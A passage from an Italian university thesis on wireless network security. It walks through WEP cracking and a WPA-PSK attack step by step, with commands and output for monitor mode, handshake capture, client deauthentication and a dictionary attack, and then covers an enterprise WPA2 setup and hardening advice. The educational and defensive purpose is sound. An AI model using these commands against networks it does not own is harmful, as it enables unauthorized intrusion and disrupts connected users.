tecnologie sottostanti, come la radio frequency jamming, DoS attraverso violazioni 802.11, deautenticazione, de-associazione, ecc.
19
Cracking Introduzione con legge a riguardo Lo scopo di questa tesi non è quello di invogliare un utente a scovare le password delle reti wi-fi che ha nelle vicinanze. Semmai, a provare con semplici strumenti reperibili su internet a forzare la propria rete per vedere quanto questa sia violabile oppure no. A riguardo vi sono precise leggi che regolano, sia le caratteristi che alle quali devono sottostare le antenne degli Access Point , anche la violazione di reti che non siamo proprie.
Programmi Utilizzati Per effettuare questo tipo di operazione vengono utilizzati dei software specifici per l’analisi delle reti. Il sistema operativo leader per lo sviluppo di tali programmi è Linux. Esistono alcune relase di linux, come la BackTrack -ormai alla 4° edizione-, sviluppate apposta per testare tutte la sicurezza delle reti. Tuttavia sono stati sviluppati programmi anche per Microsoft Windows o Apple OSX, mavengono sfruttati poco usati perché sono poco personalizzabili. In ambiente Linux gli applicativi più usati sono: •
Airomon-ng: per il monitoraggio delle schede di rete
•
Airodump-ng: sniffing di pacchetti su uno o più canali.
•
Airoplay-ng: introduce pacchetti su una rete specifica
•
Aircrack-ng: decodifica il contenuto del file generato da Airodump-ng rivelando la chiave di rete
Con il passare del tempo è stato scritto anche un algoritmo che attraverso un solo comando automatizza l’uso di questi quattro programmi per il cracking di una rete WEP. Il software fa quello che avrebbe fatto il cracker e dopo poco tempo restituisce la chiave decodificata. Questa applicazione si chiama Wesside-ng Diverso discorso invece viene fatto Fig.12 Interfaccia di KisMac (OSX) per le WPA, con le quali è necessario utilizzare alcuni software sopracitati in un ordine preciso e sotto determinate condizioni.
20
In ambiente Windows il più famoso software è sicuramente “Netstumbler”, mentre sull’altro lato Machintosh si trova “KisMac”. L’unico vantaggio che presentano entrambi è un’intuitiva interfaccia grafica che consente anche ai meno esperti di utilizzare questi strumenti.
Fig.11 Interfaccia di NetSumbler (Win)
21
Cracking WEP Utilizzo delle debolezze teoriche In una rete con protezione WEP per quanto visto sino ad ora, è molto semplice scoprire la parola chiave che ci permette di sfruttarla. In linea teorica viene sempre utilizzato lo stesso procedimento che sfrutta le vulnerabilità del CRC. Attraverso banali operazioni logiche con l’operazione XOR, si ricava sia il messaggio sia la chiave che lo ha codificato.
Attacco al WEP Esistono due tipologie di attacco: il passivo e l’attivo. Mentre con il primo si aspetta che sia un altro elaboratore fornisca i pacchetti da analizzare, nell’attacco attivo viene creato un messaggio alterato che forza l’AP a generare pacchetti, rendendo in questo modo il lavoro più veloce. Attraverso l’attacco attivo è possibile risalire alla Keyword di una rete WPA in una manciata di secondi. Per brevità verrà descritto solo l’attacco effettuato sotto ambiente linux attraverso l’applicativo Wesside-ng, in quanto l’esposizione degli altri metodi sarebbe lunga macchinosa, portando comunque allo sesso risultato, ma impiegando più tempo.
Wesside-ng Per prima cosa è necessario avere una lista degli AP nelle vicinanze per essere a conoscenza loro MAC Address. Per far ciò è possibile utilizzare o l’utility kismet o il comando da terminale: #iwlistscan Ottenuto questi due paramenti nella shell viene digitata la stringa #wesside·ng -v <MAC dell'Access Point>-i <nome dell'interfaccia> Il parametro -v (victim) è opzionale. Nel caso in cui non venisse usato wesside-ng analizzerebbe tutti i canali fino a trovare un rete attaccabile. Questa utility, esegue tutti i passaggi di un attacco passivo per conto proprio, ed una volta ottenuto un pacchetto ARP comincia a crackare la WEP, aggiornandosi ad intervalli di pochi secondi .
22
Cracking WPA Essendo questo protocollo nato per ovviare ai problemi dello standard WEP, riuscire a scovare la chiave che consente l’accesso ad una rete con questa protezione, richiederà delle condizioni che la prima tipologia non erano richieste.
Prerequisiti •
• • •
Almeno un client sia connesso all’AP e che stia utilizzando la rete. Senza che questa prima condizione sia verificata, non sarebbe possibile riuscire a carpire i pacchetti contenenti le informazioni necessarie. Una scheda di rete con chipset compatibile con il packet injection in monitor mode La distribuzione live BACKTRACK 2 o sup. I dati della rete wpa/wpa2 psk (il Mac Address del router/il Mac Address del client connesso, il canale wifi usato dal router per comunicare)
Nei passaggi che seguiranno viene usata una scheda di rete wireless con chipset Atheros con i driver madwifi, che utilizzano come nome virtuale del device athX.
Viene avviata l’interfaccia wireless in monitor mode:
Con il comando iwconfig si verifica se esistono interfacce athX e in tal caso vengono eliminate: #airmon-ng stop ath0 Interface wifi0 ath0
Chipset Atheros Atheros
Driver madwifi-ng madwifi-ng VAP (parent: wifi0) (VAP estroyed)
Rilanciando iwconfig viene verificato che non ci siano più interfacce athX attive: #iwconfig lo eth0 wifi0
no wireless extensions. no wireless extensions. no wireless extensions. If there are any remaining athX
Si avvia airmon-ng specificando il canale su cui il router comunica: #airmon-ng start wifi0 9 Interface
Chipset
Driver
wifi0 ath0
Atheros Atheros
madwifi-ng madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
23
Verificando che scheda sia effettivamente in monitor mode, il comando iwconfig: #iwconfig lo wifi0 eth0 ath0
no wireless extensions. no wireless extensions. no wireless extensions. IEEE 802.11gESSID:""Nickname:" Mode: Monitor Frequency:2.452 GHz Access Point:00:0F:B5:88:AC:82 Bit Rate:0kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry: off RTS thr: off Fragment thr: off Encryption key: off Power Management: off Link Quality=0/94Signal level=-95 dBm Noise level=-95 dBm Rxinvalidnwid:0Rxinvalidcrypt:0Rxinvalidfrag:0 Tx excessive retries: 0 Invalid misc: 0 Missed beacon:0
Utilizzo di Airodump-ng per la cattura degli authentication handshake #airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w cattura wpa ath0 Dove: -c 9 è il canale su cui il router/access point comunica --bssid 00:14:6C:7E:40:80IlMAC address del router/access point. -w cattura wpa il nome del file in cui verrano salvati i dati. Ecco come si presenta airodump-ng: CH9 ][ Elapsed: 4 s ][ 2007-11-22 16:58 BSSID 00:14:6C:7E:40:80
PWR RXQ 39 100
Beacons #Data, #/s CH MBENC CIPHER AUTH ESSID 51 116 14 9 54 WPA2 CCMP PSK drpepperONE
BSSID 00:14:6C:7E:40:80
STATION 00:0F:B5:FD:FB:C2
PWR 35
Lost 0
Packets Probes 116
Alla rete con nome “dropperONE” è collegato una client
Deautenticare il client connesso attraverso Aireplay-ng #aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0 Dove: -0 è il deauthentication mode 5è il numero di gruppi di pacchetti deauthentication da mandare -a 00:14:6C:7E:40:80 è il MAC address del router/access point -c 00:0F:B5:FD:FB:C2 è il MAC address del client da deautenticare ath0 il nome dell'interfaccia wireless
24
Questo è l'output del comando “airplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0” 12:55:56SendingDeAuthto station-- STMAC: [00:0F:B5:FD:FB:C2] 12:55:56SendingDeAuthto station-- STMAC: [00:0F:B5:FD:FB:C2] 12:55:57SendingDeAuthto station-- STMAC: [00:0F:B5:FD:FB:C2] 12:55:58SendingDeAuthto station-- STMAC: [00:0F:B5:FD:FB:C2] 12:55:58SendingDeAuthto station-- STMAC: [00:0F:B5:FD:FB:C2]
Una volta deautenticato il client, esso riproverà a riconnettersi producendo cosi pacchetti handshake. Se Airdump rileva un hadshake valido, lo mostra in altro a destra della schermata. Oppure è possibile far cercare un hanshake valido ad Aircrack.
Avviare aircrack-ng per recuperare la pre-sharedkey
Per effettuare questo passo è necessario avere un dizionario di password che contenga il più grosso numero possibili di password. Generalmente è file di testo senza estensione. #aircrack-ng -w dizionario -b 00:14:6C:7E:40:80 catturawpa*.cap Dove: -w dizionario è il nome del file dizionario. *.cap è il l'elenco dei file di capture che abbiamo collezionato. Opening catturawpa-01.cap Opening catturawpa-02.cap Opening catturawpa.cap Read 1827 packets. No valid WPA handshakes found. In questo esempio avviando aircrack-ng non sono presenti ancora pacchetti handshake. Qui invece vi è l'esempio in cui sono presenti handshake: Opening catturawpa-01.cap Opening catturawpa-02.cap Opening catturawpa.cap Opening catturawpa.cap Read 1827 packets.
#BSSID 1 00:14:6C:7E:40:80
ESSID
Encryption
drpepperONE
WPA (1 handshake)
Scelta la rete digitando il numero corrispondente ha inizio la procedura per la decodifica della chiave.
25
Se la procedura ha esito positivo si presenta la seguente schermata: [00:03:29] 820872keystested (3975.15 k/s) KEY FOUND! [ 12345678 ] Master Key :
CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC :
4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
Dove è possibile vedere che la chiave è stata trovata ed è “12345678”
26
Commenti ai risultati Quando viene sferrato una attacco ad una rete protetta con WPA l’unica tecnica possibile è l’attacco al dizionario. Anche se questa metodologia è una sottocategoria del brute force, quest’ultimo non può essere utilizzato per problemi tempistici. Il brute force prova tutte le possibili combinazioni di caratteri e per ogni lettera in più della keyword,sale esponenzialmente il numero di parole da provare. Una chiave WPA può essere lunga da 8 a 64 caratteri, comprensivi di maiuscole, minuscole e numeri. Prendendo una parola di 8 caratteri, le possibili combinazioni sono: 60^8 = 1.679616 × 1014 Sfruttando il calcolatore utilizzato nella precedente prova che analizza 3975 parole al secondo, si impiegherebbero: 42.254.490.566 secondi, equivalenti a 1399 anni. Un tempo enorme per una singola macchina, ma anche potendo utilizzare le più avanzate tecniche di calcolo distribuito, non si otterrebbe un arco temporale ragionevole. A novembre dello scorso anno venne annunciato che un gruppo di hackers russi utilizzarono le GPU Nvidia anziché la comune CPU sfruttando la tecnologia CUDA. Le GPU sono processori utilizzati dalle schede video per la grafica; la loro architettura è studiata in modo da fare molti calcoli in parallelo. Proprio questa caratteristica spinse i russi in una strada alternativa. Furono dichiarate riduzioni anche di 10.000 volte nei tempi di calcolo. Anche se questa notizia fosse vera e i tempi descritti si riducessero di un numero del genere, occorrerebbero sempre nella migliore delle ipotesi 48 giorni di lavoro consecutivo da parte della macchina. Nelle reti che proteggo dati importanti vengono cambiate le password con cadenza periodica, il che farebbe risultare inutile i tempo speso per l’hacking. E’ per questo motivo che l’unico metodo valido rimane l’attacco al dizionario. I file utilizzati contengono qualche milione di parole più o meno di senso compiuto. Per provarle tutte il calcolatore come visto prima nella schermata finale, impiega al massimo una decina di minuti. Rendendo l’attacco, se andato a buon fine, utile ai finiper cui era stato concepito.
27
La Soluzione del consorzio Il Consorzio Monte dei Paschi utilizza la protezione WPA2 Enterprise con doppio certificato. Per accedere alla rete utilizzando questo protocollo è necessario autenticarsi ad un server RADIUS, il quale permette l’accesso solo se l’utente è presente nell’active directory. I due certificati servono per identificare la macchina che tenta di accedere alla rete e l’utente che la sta utilizzando. Il primo, non essendo esportabile, impedisce che possa essere copiato su una macchina non precedentemente posta all’attenzione dell’amministratore di rete. Il secondo certificato invece riguarda l’utente che vuole accedere alla rete il quale dovrà immettere il proprio username e la sua password.
Wireless Terminal
Access Point
Active directory
Server (Radius o IAS)
Fig.12 Configurazione wireless del consorzio
Appena il WT è nel raggio di azione dell’AP, si connette fornendo il proprio certificato macchina, il server Radius se lo riconosce come valido lo fa accedere. Adesso però il client può essere utilizzato solo in remoto per installare aggiornamenti o per montare dischi. Se l’utente volesse utilizzare la rete, per navigare su internet o scambiarsi file, dovrà autenticarsi. Viene adesso utilizzato il secondo certificato con le credenziali della persona davanti al monitor. A differenza della WPA Personal, questa soluzione oltre ad essere più flessibile, è anche molto più sicura. Dovendo gestire centinaia di pc, utilizzando una chiave unica, dovrebbe essere diramata a tutti gli utenti, che potrebbero anche confidarla a persona non autorizzate. In questo modo, solo alcuni computer autorizzati posso accedere al primo livello della rete, e solo gli utenti che ne hanno diritto possono utilizzare i suddetti dispositivi per sfruttare la rete. Un malintenzionato dovrebbe entrare in possesso di una macchina di un dipendente, e da lì digitare un username ed una password valida per quel computer. Diventa quindi impossibile violare questa rete. 28
Conclusioni Una corretta configurazione degli apparati è un buon inizio per proteggere la rete wireless. Grazie ad alcuni accorgimenti, è possibile “sviare” un eventuale intruso nascondendo dettagli preziosi e rendendo più difficile l'identificazione della rete su cui si sta tentando di collegarsi. Le principali regole sono: • • • • • • • •
Cambiare gli SSID di default e non utilizzarne di descrittivi Abilitare il MAC filtering Cambiare le password Aggiornare il firmware Cambiare le community di default di SNMP Limitare il traffico di broadcast Non utilizzare il DHCP Limitare il perimetro di esposizione (per quanto possibile) o Posizionare in modo “strategico” gli access point oltre a minimizzare l’intensità del segnale e spegnere l’AP quando non serve o Inibire il broadcast dell’SSID.
Adottare protocolli sicuri come il WPA o il WPA2. Per le abitazioni e i piccoli uffici, dove il numero di client è basso una protezione WPA Personal è più che sufficiente, mentre per le grandi aziende diventa quasi obbligatorio passare alla standard Enterprise, autenticando gli utenti e ove possibile validare ed autenticare il traffico in uscita dalla rete Wi-Fi (Radius / Isa Server). Il WEP non costituisce una protezione adeguata, d’altronde se l’access point non supportasse i più recenti standard, è consigliabile cambiare spesso le chiavi WEP, per arginare il problema. Infine sarebbe una buona cosa separare la subnet Wi-Fi ed utilizzare VLAN dedicate alla rete Wi-Fi e proteggerla con router/firewall adeguati.
29
Riferimenti Cartacei [a] “Reti di Calcolatori” di Andrew S. Tanebaum [Pearson Education Italia - 2003] [b] “802.11 Security” di Bruce Potter [O’Reilly – 2004] [c] “Real 802.11 Security: Wi-Fi Protected Access and 802.11i”diJ.Edney,W.A. Arbaugh [Addison Westley - 2004]
On-line [1] [2] [3] [4] [5] [6] [7] [8] [9]
http://technet.microsoft.com/en-us/library http://it.wikipedia.org http://www.attivissimo.net/howto/wlan http://www.wifi-ita.com http://www.pdfcoke.com http://unicam.it http://hackgeek.wordpress.com/ http://www.tomshw.it/business.php?guide=20050518 http://www.hwupgrade.it/news/skvideo/una-gpu-per-forzare-l-accesso-alle-retiwifi_26803.html
30